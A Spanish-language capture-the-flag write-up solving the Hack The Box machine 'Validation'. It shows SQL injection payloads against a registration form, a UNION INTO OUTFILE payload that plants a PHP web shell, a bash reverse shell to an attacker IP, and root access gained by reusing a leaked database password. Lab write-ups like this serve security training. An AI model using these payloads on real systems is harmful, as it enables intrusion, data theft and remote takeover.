> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/validation.md).

# Validation

Write-up de la máquina Validation de HackTheBox #writeup #walkthrough

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FqonFneny68x9vCqQLVUc%2FValidation.png?alt=media&amp;token=956292e6-2205-4d90-b165-65dbb4983323" alt=""><figcaption></figcaption></figure>

## Enumeración

### Enumeración de puertos

Comenzamos la resolución de la máquina Validation realizando la enumeración rápida de los servicios que está ejecutando el objetivo.&#x20;

```
nmap -p- --open -Pn --min-rate 500 10.10.11.116
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fvr7gxJEXIQO6qBpiSeYs%2FPasted%20image%2020231026105751.png?alt=media&amp;token=690bcff7-bc2d-4486-aaff-565038c4ae92" alt=""><figcaption></figcaption></figure>

Cuatro puertos abiertos: 22,80,4566 y 8080. El siguiente paso será la enumeración detallada de los servicios que hemos descubierto.

```
nmap -p22,80,4566,8080 -sVC -Pn -n 10.10.11.116
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fan7MdH742hcWHrk0CKXG%2FPasted%20image%2020231026105927.png?alt=media&amp;token=020e7633-06f4-421f-a315-5eccc0384c83" alt=""><figcaption></figcaption></figure>

**VERSIONES**

* Puerto 22 -> SSH -> OpenSSH 8.2
* Puerto 80 -> HTTP -> Apache httpd 2.4.48
* Puerto 4566 -> HTTP -> nginx
* Puerto 8080 -> HTTP -> nginx

### Enumeración Web

El equipo objetivo está ejecutando un servidor Web en el puerto 80. Vamos a ver su contenido y a enumerar directorios y archivos interesantes.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FTaJN7krYeZQGtXPvJV4w%2FPasted%20image%2020231026110148.png?alt=media&amp;token=0f09a5d9-20b5-4941-b497-af9beeedafcb" alt=""><figcaption></figcaption></figure>

Vemos lo que parece un formulario de registro de usuarios por nacionalidad. Vamos a continuar con la enumeración de directorios.

```
dirsearch -u 10.10.11.116 -i 200,301,401
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F0ACQfDpG6S5ozzAKE5hQ%2FPasted%20image%2020231026110506.png?alt=media&amp;token=2d4abe9b-65d6-4e57-af01-39102fe540c3" alt=""><figcaption></figcaption></figure>

Vemos dos archivos que pueden ser interesantes, config.php y account.php. Veamos su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FaEG7MFZUcoAmephmghne%2FPasted%20image%2020231026110550.png?alt=media&amp;token=024e4746-4b32-461f-a027-6f7e1ed0ce7c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F0bNyS4sttnuwnfXWvYAJ%2FPasted%20image%2020231026110607.png?alt=media&amp;token=f615f63e-da9c-441f-9bce-ba8e99f0dedc" alt=""><figcaption></figcaption></figure>

Nada interesante. Continuaremos entonces buscando vectores vulnerables en el sitio Web.

## Explotación

Durante la enumeración del sitio Web encontramos que existe un formulario para registrar usuarios por países. Vamos a tratar de comprobar si presenta vulnerabilidades de SQLi. Registramos varios usuarios distintos.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FWdu9uuCKhUOARoU21fqM%2FPasted%20image%2020231026111001.png?alt=media&amp;token=6a1de380-e7a3-40a4-8184-6b1a42687cf3" alt=""><figcaption></figcaption></figure>

Ahora capturamos la petición con BurpSuite para empezar a jugar con ella.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FWfvo2SlGNayLfKbn0Hoh%2FPasted%20image%2020231026111153.png?alt=media&amp;token=a63bd561-1dfa-4f3a-9e88-8d9cfb25050d" alt=""><figcaption></figcaption></figure>

Vamos a tratar de generar un error de sintaxis para comprobar si el formulario es vulnerable a SQLi.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FP3iGdaPRGtF76Zvwoz1i%2FPasted%20image%2020231026112053.png?alt=media&amp;token=1edadb6f-1d21-469e-9873-2d67e8ed8622" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FxCaGeVe1KfG5DcLOSO67%2FPasted%20image%2020231026112228.png?alt=media&amp;token=35824dfe-adc2-4511-a205-281d3859d33d" alt=""><figcaption></figcaption></figure>

Como podemos comprobar el formulario es vulnerable a SQLi. Vamos a ver como podemos aprovechar esta vulnerabilidad.

```
username=securiters&country=Spain'or'1'='1
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FxXwQc3SxMucpGXwe8TZY%2FPasted%20image%2020231026112416.png?alt=media&amp;token=1f2f7a95-1f39-4fbc-b92e-49ae208b6f45" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FwWjBnX16VTnMZqkvtB09%2FPasted%20image%2020231026112511.png?alt=media&amp;token=d078cbe3-4fd5-4445-95ca-33335eacea82" alt=""><figcaption></figcaption></figure>

Podemos extraer toda la lista de usuarios registrados en la base de datos. También podemos ver que versión de base de datos se está ejecutando.

```
username=securiters&country=Spain'union select version()-- -
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FDySQ931S1lNy5vbReFPY%2FPasted%20image%2020231026112643.png?alt=media&amp;token=06160ccf-e3dd-4c8c-bae1-3504ed0d54bb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZQoJPqOQM28FfkPMsZfv%2FPasted%20image%2020231026112658.png?alt=media&amp;token=a8e34e41-7578-488d-b083-bc9b21b3faa2" alt=""><figcaption></figcaption></figure>

Podemos listar las diferentes bases de datos.

```
username=securiters&country=Spain'union select schema_name from information_schema.schemata-- -
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F8dpv16qbTNFJQpJLDiIa%2FPasted%20image%2020231026112903.png?alt=media&amp;token=18c3db21-be07-49bf-8005-8c43d599e695" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FvF0S00d8cqXLW1oT9fq2%2FPasted%20image%2020231026112925.png?alt=media&amp;token=68f6468f-2fde-464a-9886-dfd4eeb1e24f" alt=""><figcaption></figcaption></figure>

Sabemos que es vulnerable a SQLi y vemos toda la información que podemos conseguir. Pero, y si aprovechamos la vulnerabilidad presente para tratar de crear un archivo malicioso en el sistema con el que podamos crear una webshell que nos permita ejecutar comandos.

```
username=securiters&country=Spain' union select '<?php SYSTEM($_REQUEST["cmd"]); ?>' INTO OUTFILE '/var/www/html/securitersshell.php'-- -
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fdqt9VYDYFkU9Q0uLCEHs%2FPasted%20image%2020231026113558.png?alt=media&amp;token=01e84269-560a-47b6-b462-4bed2849f155" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FvxsduRkBPaIXACrDtW8p%2FPasted%20image%2020231026113614.png?alt=media&amp;token=efb95fcf-486a-4a0c-82f5-610379309236" alt=""><figcaption></figcaption></figure>

Ya podemos ejecutar comandos en el sistema. Vamos a tratar de aprovechar esto para ejecutar una reverse shell entre el objetivo y nuestra máquina de ataque.

```
bash -c "bash -i >& /dev/tcp/10.10.16.5/1234 0>&1"
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.5%2F1234%200%3E%261%22
```

Por otro lado, configuramos un oyente nc en el puerto 1234

```
nc -lnvp 1234 
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FCY0PG0gOt37J5tfMKWx9%2FPasted%20image%2020231026115047.png?alt=media&amp;token=59874393-74b9-4c87-b96c-dd66adafcb27" alt=""><figcaption></figcaption></figure>

Obtenemos acceso al sistema como www-data. Ahora, vamos a buscar la flag user.txt

```
find / -name user.txt 2>/dev/null
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FFWkzkb5Xx8YPUCqFkzl5%2FPasted%20image%2020231026115225.png?alt=media&amp;token=26cedbaa-d384-41ba-9605-74ac657ac5fc" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Una vez tenemos acceso a sistema con bajos privilegios, el siguiente paso es buscar vectores que nos permitan la elevación de privilegios. Comenzamos enumerando que se puede ejecutar como www-data sin necesidad de contraseña.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F4y7Lms5jTKmkilHmJylq%2FPasted%20image%2020231026121253.png?alt=media&amp;token=294820ef-df26-4b30-a8f1-6a4115fbc4d9" alt=""><figcaption></figcaption></figure>

Parece que sudo no está instalado en el sistema. Continuamos enumerando los permisos SUID.

```
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FpR3jpERySrKL6eAW4ij3%2FPasted%20image%2020231026132000.png?alt=media&amp;token=4d9466f3-17bf-402e-af81-4afc917c641e" alt=""><figcaption></figcaption></figure>

No existe ningún binario con permiso que nos permita elevar privilegios. Podemos hacer también una enumeración de capabilities.

```
getcap -r / 2>/dev/null
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FahF1QvtZOODEGsegwCsn%2FPasted%20image%2020231026132333.png?alt=media&amp;token=c85da5b8-eb28-4ede-b8a0-b743d9582e77" alt=""><figcaption></figcaption></figure>

Pero tampoco hay nada interesante. Veamos el directorio donde accedimos cuando ejecutamos la reverse shell.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FHRhZ6hgcsy7fEXzeyicS%2FPasted%20image%2020231026132441.png?alt=media&amp;token=8c105925-4047-4a1c-a407-1b247fa1e8f5" alt=""><figcaption></figcaption></figure>

Vemos el archivo config.php que encontrábamos en la enumeración inicial pero al que no podíamos acceder. Este archivo puede contener credenciales interesantes de otros usuarios de sistema.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FvXmvtYF2Us42BVNVDRtS%2FPasted%20image%2020231026132701.png?alt=media&amp;token=0b367c2e-0493-4f18-8d02-f04100c3db04" alt=""><figcaption></figcaption></figure>

Vamos a comprobar si son credenciales válidas del sistema.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7ku5Pz0V0NDpPtQ8kZOj%2FPasted%20image%2020231026132819.png?alt=media&amp;token=d50f3fde-3354-437c-930f-ad8354b334a5" alt=""><figcaption></figcaption></figure>

Y el usuario no es válido pero la contraseña nos permite iniciar sesión en el sistema con privilegios máximos. Ahora a buscar la flag final.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fs1OBT1SrndaNmelRCQw3%2FPasted%20image%2020231026132928.png?alt=media&amp;token=119043da-8e94-4244-a169-0e3edf653fcd" alt=""><figcaption></figcaption></figure>

Y ya tendríamos resuelta la máquina Validation de Hack The Box.
